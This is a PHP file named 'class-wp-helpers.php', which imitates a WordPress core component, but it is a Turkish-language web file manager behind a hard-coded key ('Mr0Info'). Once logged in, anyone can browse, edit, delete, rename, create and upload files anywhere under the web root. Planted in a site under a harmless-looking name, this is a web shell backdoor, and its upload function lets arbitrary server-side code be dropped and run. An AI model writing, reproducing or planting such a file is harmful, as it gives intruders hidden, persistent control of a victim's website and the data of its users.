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Filename : class-wp-helpers.php
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<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Konfigürasyon
$adminKey = "Mr0Info"; // Giriş anahtarı
$rootDir = realpath($_SERVER['DOCUMENT_ROOT']); // Erişim sınırı

// CSRF Token
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Giriş ve Çıkış
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}
if (!isset($_SESSION['logged_in'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['key'] ?? '') === $adminKey) {
        $_SESSION['logged_in'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    }
    ?>
    <div class="container">
        <form method="POST" class="login-form">
            <h2>Giriş</h2>
            <input type="text" name="key" placeholder="Anahtar" required>
            <button type="submit">Giriş Yap</button>
        </form>
    </div>
    <?php
    exit;
}

// Yol ayarla
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$path || strpos($path, $rootDir) !== 0) {
    die("Erişim reddedildi.");
}

// Yardımcı Fonksiyonlar
function listDirectory($path) {
    $items = array_diff(scandir($path), ['.', '..']);
    echo "<ul>";
    foreach ($items as $item) {
        $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item);
        if (!$itemPath) continue;
        if (is_dir($itemPath)) {
            echo "<li><a href='?path=" . urlencode($itemPath) . "'>📁 $item</a></li>";
        } else {
            echo "<li>$item 
                <span>
                    <a href='?path=" . urlencode($path) . "&action=edit&item=" . urlencode($item) . "'>[Düzenle]</a> 
                    <a href='?path=" . urlencode($path) . "&action=delete&item=" . urlencode($item) . "' onclick='return confirm(\"Silinsin mi?\")'>[Sil]</a> 
                    <a href='?path=" . urlencode($path) . "&action=rename&item=" . urlencode($item) . "'>[Yeniden Adlandır]</a>
                </span>
            </li>";
        }
    }
    echo "</ul>";
}

function editFile($filePath) {
    if (!file_exists($filePath)) return;
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
        if (trim($_POST['content']) !== '') {
            file_put_contents($filePath, $_POST['content']);
            echo "<p class='success'>Kaydedildi.</p>";
        } else {
            echo "<p class='error'>Boş içerik kaydedilemez.</p>";
        }
    }
    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<form method='POST'>
        <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>
        <textarea name='content'>$content</textarea>
        <button type='submit'>Kaydet</button>
    </form>";
}

function renameFile($filePath) {
    if (!file_exists($filePath)) return;
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) {
        $newName = basename($_POST['new_name']);
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $newName;
        if (!file_exists($newPath)) {
            rename($filePath, $newPath);
            echo "<p class='success'>Yeniden adlandırıldı.</p>";
        } else {
            echo "<p class='error'>Bu isimde dosya/klasör zaten var.</p>";
        }
    }
    echo "<form method='POST'>
        <input type='text' name='new_name' placeholder='Yeni ad'>
        <button type='submit'>Yeniden Adlandır</button>
    </form>";
}

function deleteFile($filePath) {
    if (file_exists($filePath)) {
        is_dir($filePath) ? rmdir($filePath) : unlink($filePath);
        echo "<p class='success'>Silindi.</p>";
    } else {
        echo "<p class='error'>Dosya bulunamadı.</p>";
    }
}

function uploadFile($path) {
    if (!empty($_FILES['file']['name'])) {
        $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
            echo "<p class='success'>Yüklendi.</p>";
        } else {
            echo "<p class='error'>Yükleme hatası.</p>";
        }
    }
}

function createFolder($path) {
    if (!empty($_POST['folder_name'])) {
        $folder = $path . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
        if (!file_exists($folder)) {
            mkdir($folder);
            echo "<p class='success'>Klasör oluşturuldu.</p>";
        } else {
            echo "<p class='error'>Klasör zaten var.</p>";
        }
    }
}

function createFile($path) {
    if (!empty($_POST['file_name'])) {
        $file = $path . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
        if (!file_exists($file)) {
            file_put_contents($file, '');
            echo "<p class='success'>Dosya oluşturuldu.</p>";
        } else {
            echo "<p class='error'>Dosya zaten var.</p>";
        }
    }
}

// POST işlemleri
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) die("CSRF Hatası!");
    if (isset($_FILES['file'])) uploadFile($path);
    if (isset($_POST['folder_name'])) createFolder($path);
    if (isset($_POST['file_name'])) createFile($path);
}

// HTML ve CSS
echo "<style>
    body {
        font-family: 'Segoe UI', Arial, sans-serif;
        background: #f1f4f8;
        color: #333;
        margin: 0;
        padding: 20px;
        line-height: 1.6;
    }

    h2, h3 {
        color: #2c3e50;
        margin-bottom: 15px;
    }

    h2 {
        font-size: 24px;
        display: flex;
        align-items: center;
        gap: 10px;
    }

    h3 {
        font-size: 18px;
        margin-top: 20px;
    }

    p {
        margin: 10px 0;
    }

    a {
        color: #3498db;
        text-decoration: none;
        transition: color 0.3s;
    }

    a:hover {
        color: #2980b9;
        text-decoration: underline;
    }

    ul {
        list-style: none;
        padding: 0;
        background: #fff;
        border-radius: 8px;
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        margin: 15px 0;
    }

    ul li {
        padding: 12px 20px;
        border-bottom: 1px solid #eee;
        display: flex;
        justify-content: space-between;
        align-items: center;
    }

    ul li:last-child {
        border-bottom: none;
    }

    ul li span {
        display: flex;
        gap: 10px;
    }

    ul li a {
        font-size: 14px;
    }

    form {
        background: #fff;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        margin-bottom: 20px;
        max-width: 600px;
    }

    input[type='text'],
    input[type='file'],
    textarea {
        width: 100%;
        padding: 10px;
        margin: 8px 0;
        border: 1px solid #ddd;
        border-radius: 4px;
        font-size: 14px;
        box-sizing: border-box;
    }

    textarea {
        resize: vertical;
        min-height: 150px;
    }

    button {
        background: #3498db;
        color: #fff;
        border: none;
        padding: 10px 20px;
        border-radius: 4px;
        cursor: pointer;
        font-size: 14px;
        transition: background 0.3s;
    }

    button:hover {
        background: #2980b9;
    }

    .error {
        color: #e74c3c;
        font-size: 14px;
    }

    .success {
        color: #2ecc71;
        font-size: 14px;
    }

    .container {
        max-width: 1200px;
        margin: 0 auto;
    }

    .header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 20px;
    }

    .header a {
        font-size: 14px;
        padding: 8px 16px;
        background: #ecf0f1;
        border-radius: 4px;
        color: #2c3e50;
    }

    .header a:hover {
        background: #dfe6e9;
    }

    .login-form {
        max-width: 400px;
        margin: 100px auto;
        text-align: center;
        background: #fff;
        padding: 30px;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
    }

    .login-form input[type='text'] {
        width: calc(100% - 22px);
        margin-bottom: 15px;
    }

    .login-form button {
        width: 100%;
    }

    @media (max-width: 600px) {
        body {
            padding: 10px;
        }

        form {
            padding: 15px;
        }

        ul li {
            flex-direction: column;
            align-items: flex-start;
            gap: 5px;
        }

        .header {
            flex-direction: column;
            gap: 10px;
        }
    }
</style>";

echo "<div class='container'>";
echo "<div class='header'>";
echo "<h2>🗂️ Dosya Yöneticisi</h2>";
echo "<div>";
echo "<a href='?path=" . urlencode(dirname($path)) . "'>⬆️ Bir Üst Dizin</a> | <a href='?logout=1'>🔓 Çıkış Yap</a>";
echo "</div>";
echo "</div>";
echo "<p>Mevcut Dizin: <b>$path</b></p>";
echo "<hr>";

// Eylemler
if (isset($_GET['action'], $_GET['item'])) {
    $item = basename($_GET['item']);
    $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item);
    if (!$itemPath || strpos($itemPath, $rootDir) !== 0) {
        die("Yetkisiz işlem.");
    }
    switch ($_GET['action']) {
        case 'edit': editFile($itemPath); break;
        case 'delete': deleteFile($itemPath); break;
        case 'rename': renameFile($itemPath); break;
    }
    echo "<hr><a href='?path=" . urlencode($path) . "'>↩️ Geri Dön</a>";
    exit;
}

// Listele
listDirectory($path);

// Yükleme / Oluşturma Formları
echo "<h3>⬆️ Dosya Yükle</h3>
<form method='POST' enctype='multipart/form-data'>
    <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>
    <input type='file' name='file'>
    <button type='submit'>Yükle</button>
</form>";

echo "<h3>📁 Klasör Oluştur</h3>
<form method='POST'>
    <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>
    <input type='text' name='folder_name' placeholder='Klasör Adı'>
    <button type='submit'>Oluştur</button>
</form>";

echo "<h3>📄 Dosya Oluştur</h3>
<form method='POST'>
    <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>
    <input type='text' name='file_name' placeholder='Dosya Adı'>
    <button type='submit'>Oluştur</button>
</form>";

echo "</div>";
?>